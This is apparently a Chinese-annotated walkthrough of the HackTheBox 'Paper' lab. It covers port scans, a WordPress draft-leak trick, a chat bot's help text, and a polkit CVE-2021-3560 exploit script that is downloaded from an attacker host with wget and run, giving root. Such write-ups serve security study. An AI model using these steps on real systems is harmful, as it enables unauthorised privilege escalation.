┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.11.143 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-28 09:59 CST Nmap scan report for 10.10.11.143 Host is up (0.27s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 |_http-title: HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_ssl-date: TLS randomness does not represent time |_http-title: HTTP Server Test Page powered by CentOS | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.94 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -sU --min-rate=10000 -oG allports 10.10.11.143 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-2810:10 CST Warning: 10.10.11.143 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.143 Host is up (0.29s latency). All 65535 scanned ports on 10.10.11.143 are in ignored states. Not shown: 65456 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 74.62 seconds
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://10.10.11.143/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(kali㉿kali)-[~/桌面] └─$ cat 47690.md So far we know that adding `?static=1` to a wordpress URL should leak its secret content
Here are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc` - `orderby` - `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
12、这里我使用这个漏洞发现了一些有趣的信息
1 2 3 4 5 6 7 8
# Secret Registration URL of new Employee chat system #新员工聊天系统的秘密注册URL
# I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick. #我保持这个草案未发布，因为未发布的草案不能被外部人员访问。我没那么无知尼克
13、这里绑定下这个网站信息，并访问下上面的呢个地址
1 2 3 4
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.11.143 chat.office.paper" | sudo tee -a /etc/hosts [sudo] kali 的密码： 10.10.11.143 chat.office.paper
Receptionitis15 Just call the bot by his name and say help. His name is recyclops. 接待员15只要叫出机器人的名字并说救命。他的名字叫独眼龙。 For eg: sending "recyclops help" will spawn the bot and he'll tell you what you can and cannot ask him. 例如：发送“帮助”将产生机器人，他会告诉你什么你可以和不可以问他。 Now stop wasting my time PAM! I've got work to do! 别再浪费我的时间了！我有工作要做！
kellylikescupcakes Hello. I am Recyclops. A bot assigned by Dwight. I will have my revenge on earthlings, but before that, I have to help my Cool friend Dwight to respond to the annoying questions asked by his co-workers, so that he may use his valuable time to... well, not interact with his co-workers. 凯莉喜欢纸杯蛋糕你好。我是Recyclops。德怀特指派的机器人。我会有我的报复地球人，但在此之前，我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题，这样他就可以利用他宝贵的时间来.不和同事交流 Most frequently asked questions include: 最常见的问题包括： - What time is it? - 现在几点了？ - What new files are in your sales directory? - 您的销售目录中有哪些新文件？ - Why did the salesman crossed the road? - 售货员为什么要过马路？ - What's the content of file x in your sales directory? etc. - 你的销售目录中x文件的内容是什么？等 Please note that I am a beta version and I still have some bugs to be fixed. 请注意，我是一个测试版，我仍然有一些错误要修复。 How to use me ? : 如何使用我？： 1. Small Talk: 1. Small Talk： You can ask me how dwight's weekend was, or did he watched the game last night etc. 你可以问我德怀特的周末过得怎么样，或者他昨晚看比赛了吗等等。 eg: 'recyclops how was your weekend?' or 'recyclops did you watched the game last night?' or 'recyclops what kind of bear is the best? 你周末过得怎么样？或者‘你昨晚看比赛了吗？或者“什么样的熊是最好的？ 2. Joke: You can ask me Why the salesman crossed the road. 你可以问我为什么售货员要过马路。 eg: 'recyclops why did the salesman crossed the road?' 为什么售货员要穿过马路？' <=====The following two features are for those boneheads, who still don't know how to use scp. I'm Looking at you Kevin.=====> <=以下两个特性是为那些还不知道如何使用scp的笨蛋准备的。我看着你，凯文。 For security reasons, the access is limited to the Sales folder. 出于安全原因，访问权限仅限于Sales文件夹。 3. Files: eg: 'recyclops get me the file test.txt', or 'recyclops could you send me the file src/test.php' or just 'recyclops file test.txt' 例如：'cloops get me the file test.txt'，或'cloops could you send me the file src/test.php'或'cloops file test.txt' 4. List: You can ask me to list the files 你可以让我列出 5. Time: You can ask me to what the time is 你可以问我几点了 eg: 'recyclops what time is it?' or just 'recyclops time' 现在几点了？或者只是“马蹄声时间”
wget https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/main/poc.sh python -m http.server wget http://10.10.16.22:8000/poc.sh vi poc.sh #Change the username and password or use default. chmod +x poc.sh ./poc.sh su - sid sudo bash
[!] Username set as : shiyan [!] No Custom Timing specified. [!] Timing will be detected Automatically [!] Force flag not set. [!] Vulnerability checking is ENABLED! [!] Starting Vulnerability Checks... [!] Checking distribution... [!] Detected Linux distribution as "centos" [!] Checking if Accountsservice and Gnome-Control-Center is installed [+] Accounts service and Gnome-Control-Center Installation Found!! [!] Checking if polkit version is vulnerable [+] Polkit version appears to be vulnerable!! [!] Starting exploit... [!] Inserting Username shiyan... Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required id: 'shiyan': no such user [x] Insertion of Username failed! [!] Aborting Execution! [!] Usually multiple attempts are required to get the timing right. Try running the exploit again. [!] If the exploit doesn't work after several tries, then you may have to exploit this manually. [dwight@paper ~]$ ./poc.sh
[!] Username set as : shiyan [!] No Custom Timing specified. [!] Timing will be detected Automatically [!] Force flag not set. [!] Vulnerability checking is ENABLED! [!] Starting Vulnerability Checks... [!] Checking distribution... [!] Detected Linux distribution as "centos" [!] Checking if Accountsservice and Gnome-Control-Center is installed [+] Accounts service and Gnome-Control-Center Installation Found!! [!] Checking if polkit version is vulnerable [+] Polkit version appears to be vulnerable!! [!] Starting exploit... [!] Inserting Username shiyan... Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required [+] Inserted Username shiyan with UID 1005! [!] Inserting password hash... [!] It looks like the password insertion was succesful! [!] Try to login as the injected user using su - shiyan [!] When prompted for password, enter your password [!] If the username is inserted, but the login fails; try running the exploit again. [!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell! [dwight@paper ~]$ su - sid su: user sid does not exist [dwight@paper ~]$ su shiyan Password: [shiyan@paper dwight]$ id uid=1005(shiyan) gid=1005(shiyan) groups=1005(shiyan),10(wheel) [shiyan@paper dwight]$ sudo bash
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for shiyan: [root@paper dwight]# id uid=0(root) gid=0(root) groups=0(root) [root@paper dwight]# cat /root/root.txt 135686c445f7f323d89ed243189f1d00 [root@paper dwight]#
